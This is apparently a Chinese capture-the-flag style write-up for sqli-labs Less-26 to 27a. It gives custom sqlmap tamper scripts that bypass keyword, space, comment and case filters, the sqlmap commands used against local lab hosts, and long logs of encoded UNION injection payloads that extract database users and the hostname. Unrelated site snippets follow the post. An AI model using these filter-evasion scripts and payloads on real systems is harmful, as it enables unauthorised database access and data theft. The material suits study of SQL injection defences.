SQLMAP脚本-sql-labs-Less-26-27a

2023-11-15

testtest

sqli-labs (less-26 and less-26a)

dc5b8977ec274a1580225ab4037ed360.png

 观察后端代码

8b5c37606eb54090b2b62c634b49ed9c.png

发现空格,or,and以及注释符–和#都没了
or,and用双写,注释使用;%00
空格用%09; %0A; %0B; %0D; %20;

编写sqlmap脚本命名为air.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls
    
    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    """

    payload= payload.lower()
    payload= payload.replace('or' , 'oorr') 将or替换为oorr
    payload= payload.replace('and' , 'anandd')将and替换为anandd
    payload=payload.replace('#',";%00") 将#替换为;%00
    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace(): 检测到空格
                retVal += "%0b" 替换为%0b 可以自己试试别的能不能用
            elif payload[i] == '#' or payload[i:i + 3] == '#': 
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

test.py 用于打印payloads更好观察payload的改变

# sqlmap/tamper/escapequotes.py
 
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOWEST
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    print(payload) 打印payload
    return payload
                

执行命令 ./sqlmap.py -u "http://192.168.227.128/Less-26/?id=3" --technique=U  --users --tamper=tamper/air.py,test.py
--technique 指定注入方式
--tamper 使用脚本
--users 显示用户名

a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b84,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-5593'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b85,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6736'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b86,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-8374'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b87,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-3304'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b88,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4517'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b89,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4869'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b90,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-7274'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b91,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4829'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b92,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-8704'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b93,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6012'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b94,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4253'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b95,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-9915'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b96,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-5771'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b97,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-8983'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b98,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-2093'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b99,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-3862'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b100,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4369'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b101,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-2212'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b102,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-9541'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b103,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-7175'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b104,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6760'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b105,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-4589'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b106,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6738'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b107,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-9742'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b108,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-2312'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b109,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-6153'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b110,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
-1282'%0bunion%0ball%0bselect%0bnull,(select%0bconcat(0x7170767071,ifnull(cast(grantee%0bas%0bnchar),0x20),0x7170717a71)%0bfrom%0binfoorrmation_schema.user_privileges%0blimit%0b111,1),null;%00
[20:23:45] [INFO] retrieved: ''root'@'::1''
database management system users [4]:                                                                              
[*] 'root'@'127.0.0.1'
[*] 'root'@'2102cd85683f'
[*] 'root'@'::1'
[*] 'root'@'localhost'

可以看到payload已经替换好了 注入也成功了

less-26a

./sqlmap.py -u "http://192.168.227.128/Less-26a/?id=3" --technique=B --hostname --users --tamper=tamper/air.py,test.py
同样的脚本使用报错注入即可

less-27

89af37f0ebc448109192b01b4c21dce7.png

观察后端代码
fe88d706f47a40c984d607995efe48d9.png

发现比起less-26多了select union 大小写的过滤但是有规律的

更改Air.py代码

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

    Requirement:
        * MSSQL
        * MySQL

    Notes:
        * Useful to bypass several web application firewalls
    
    >>> tamper('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
    """
增加此部分代码 随机给payload转换大小写即可
    payload2=""
    for i in range(len(payload)):
        asciinum= ord(payload[i])
        if asciinum <=122 and asciinum >=65 and (asciinum != 91,92,93,94,95,96) :
            payload3= int(random.uniform(1,3))
            if payload3 ==1:
                if asciinum <97:
                    payload2+=chr(asciinum+32)
                if asciinum >96:
                    payload2+=chr(asciinum-32)
            else:
                payload2+=payload[i]
        else:
            payload2+=payload[i]
    /*
    增加上方代码
     随机给payload转换大小写
    也可以直接用函数转换大小写,或者直接替换select直接绕过,这里提供一种思路
*/

    payload=payload2
    payload= payload.replace('or' , 'oorr')
    payload= payload.replace('and' , 'anandd')
    payload=payload.replace('#',";%00")
    



    retVal = ""

    if payload:
        for i in range(len(payload)):
            if payload[i].isspace():
                retVal += "%0b"
            elif payload[i] == '#' or payload[i:i + 3] == '#':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

 ./sqlmap.py -u "http://192.168.0.101/sqli/Less-27?id=1" --technique=U --hostname --tamper=test.py,air.py

/usr/lib/python3/dist-packages/pkg_resources/__init__.py:116: PkgResourcesDeprecationWarning: unknown is an invalid version and will not be supported in a future release
  warnings.warn(
3
-4117'%0bUnioN%0ball%0bSelECt%0b54,concAt(0x71787A7871,(CaSE%0bWhEN%0b(DAtABAse()%0bliKe%0bSCHEmA())%0bTHEN%0b1%0belse%0b0%0bEnd),0x71706B7871),54;%00
[20:18:10] [WARNING] reflective value(s) found and filtering out
web application technology: PHP 5.6.9, Apache 2.4.39
back-end DBMS: MySQL unknown
[20:18:10] [INFO] fetching server hostname
hostname: '20211114-104317'

成功爆出

less-27a

继续使用上个脚本即可

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLMAP脚本-sql-labs-Less-26-27a 的相关文章

随机推荐

  • 最新视频/图集去水印/步数/王者战力/红包封面等小程序源码带流量主【源码+教程】

    免服务器域名 已测试 上传即可用带流量主功能 这套源码目前没在网上看到过几次 源码内附带教程 去水印支持快手抖音视频 图集其他平台自测 下载地址 最新视频 图集去水印 步数 王者战力 红包封面等小程序源码带流量主 源码 教程
  • tftp+Filezilla文件双向传输(1)-centos(VMware)-win10(host)

    目录 1 下载安装vsftpd tftp tftp server 2 配置服务 2 1 配置服务 修改文件 etc vsftpd conf 2 2 配置服务 守护进程 etc xinetd d tftp 2 3 配置服务 tftp服务器 2
  • 微信小程序的websocket使用stomp协议--简单实用的npm包

    需求背景 在公司实习期间 要求做一个小程序的websocket连接 用于设备的实时控制和状态查询 其中后端使用的是stomp协议 而微信小程序是不支持stomp协议的 但是当我知道的时候 后端已经全部调好只等我接入了 由于小程序的心跳机制和
  • BST插入(建立)、删除、查找和排序

    实验要求 设计BST 的左右链存储结构 并实现BST插入 建立 删除 查找和排序算法 实现折半查找算法 实验比较 设计并产生实验测试数据 考察比较两种查找方法的时间性能 并与理论结果进行比较 以下具体做法可作为参考 第1组测试数据 n 10
  • 关系代数的自然连接符号_数学——符号推演的艺术

    数学离不开各式各样的符号 数字如2 0 1 8 运算符如 等号 不等号 都是最常见的数学符号 其他语义复杂一些的数学符号有 sin 等等 这些有趣的符号可以用来表示各种具体或者抽象的数学概念 包括数学对象以及数学对象之间的相互关系 而数学活
  • 一、Linux命令行使用技巧

    一 Linux命令行使用技巧 1 新建笔记本 命令 lt gedit gt lt 空格 gt lt 文件名 gt 2 什么是Linux 操作系统 内核 kernel 相当于人的大脑 3 计算机五大组件 计算器 寄存器 控制器 输入设备 输出
  • 三进制计算机_计算机产业有望进入三进制时代:韩国研发出三进制半导体

    韩国一科研团队成功在大尺寸晶圆上实现了更节能的三元金属氧化物半导体 我们知道通常计算机是由一个个逻辑电路组成的 而逻辑电路一般只有接通和断开两种状态 所以计算机中的数据都是以二进制形式存在的 本质上来说计算机就是0和1 最早将二进制这一理念
  • javascript中mouseover和mouseout事件详解

    原文链接 http blog sina com cn s blog 468530a60101awlw html 与 mouseenter 事件不同 不论鼠标指针穿过被选元素或其子元素 都会触发 mouseover 事件 只有在鼠标指针穿过被
  • WIN10家庭版虚拟机启动蓝屏问题

    关于在WIN10家庭版系统上安装VMware workstation每次启动虚拟机 主机就会出现蓝屏得问题 在刚安装好得时候 启动并没有出现蓝屏 但是使用了几次以后蓝屏几乎每次都会出现 网上查了一下发现好多网友也都遇到得了类似得问题 但是每
  • python绘制qq图_Python中作QQ图(quantilequantile Plot)

    Q Q图主要可以用来回答这些问题 两组数据是否来自同一分布 PS 当然也可以用KS检验 利用python中scipy stats ks 2samp函数可以获得差值KS statistic和P值从而实现判断 两组数据的尺度范围是否一致 两组数
  • HighChar 详解-双Y轴-及各

    网上的例子 数据都是写死的 有点不实用吧 我在这里举一个 展示功能需求的数据 按需从数据库获取并画图展示 本例子结合 angular js 其他前台框架同理 从后台获取数据即可 1 首先要引入Jquery JS 再引入相关highChar
  • 上升子序列用C语言编写,最长上升子序列(C语言 动态规划)

    描述 一个数的序列bi 当b1 lt b2 lt lt bS的时候 我们称这个序列是上升的 对于给定的一个序列 a1 a2 aN 我们可以得到一些上升的子序列 ai1 ai2 aiK 这里1 i1 lt i2 lt lt iK N 比如 对
  • 在html中写的css没效果,css样式不起作用是什么原因?

    在写页面时 有时会发现自己写的css样式无法生效 我们该如何排查css样式无法生效 常见的css样式不起作用的原因有哪些呢 下面我们就来看一下css样式不起作用的原因 排查css样式不起作用的方法步骤 首先 先试一下清除缓存 重启浏览器等手
  • 用 Python 制作一个艺术签名小工具,给自己设计一个优雅的签名

    生活中有很多场景都需要我们签字 签名 如果是一些不重要的场景 我们的签名好坏基本无所谓了 但如果是一些比较重要的场景 如果我们的签名比较差的话 就有可能给别人留下不太好的印象了 俗话说字如其人嘛 本文我们使用 Python 来制作一个艺术签
  • 逐行扫描型Memory LCD显存管理与emWin移植

    因为Memory LCD 的特性 不能设置像素坐标 只能用缓存整体刷新 所以对于Memory LCD来说 emWin移植仅与打点函数有关 这里用Sharp Memory LCD ls013b7dh03 作为实例 LCD的显存 逐行扫描 存放
  • 缓存记录

    1 我们在项目中使用缓存通常都是先检查缓存中是否存在 如果存在直接返回缓存内容 如果不存在就直接查询数据库然后再缓存查询结果返回 这个时候如果我们查询的某一个数据在缓存中一直不存在 就会造成每一次请求都查询DB 这样缓存就失去了意义 在流量
  • 简述锂离子电池的分类及结构

    锂离子电池按所用电解质材料的不同 可分为液态锂离子电池 LIB 和聚合物锂离子电池 PLB 两类 锂电池按工作环境分 高温锂离子电池 低温锂离子电池 常温锂离子电池 按电解质状态分 液态锂离子电池 凝胶锂离子电池固态锂离子电池 按形状分 方
  • uniapp实现横向滚动

  • 【软考】【系统架构设计师】决策论知识点

    1 概念 决策 一词来源于英语Decision Analysis 直译为 做出决定 所谓决策 就是为了实现预定的目标在若干可供选择的方案中 选出一个最佳行动方案的过程 它是一门帮助人们科学地决策的理论 也是管理者识别并解决问题及利用机会的过
  • SQLMAP脚本-sql-labs-Less-26-27a

    testtest sqli labs less 26 and less 26a 观察后端代码 发现空格 or and以及注释符 和 都没了 or and用双写 注释使用 00 空格用 09 0A 0B 0D 20 编写sqlmap脚本命名为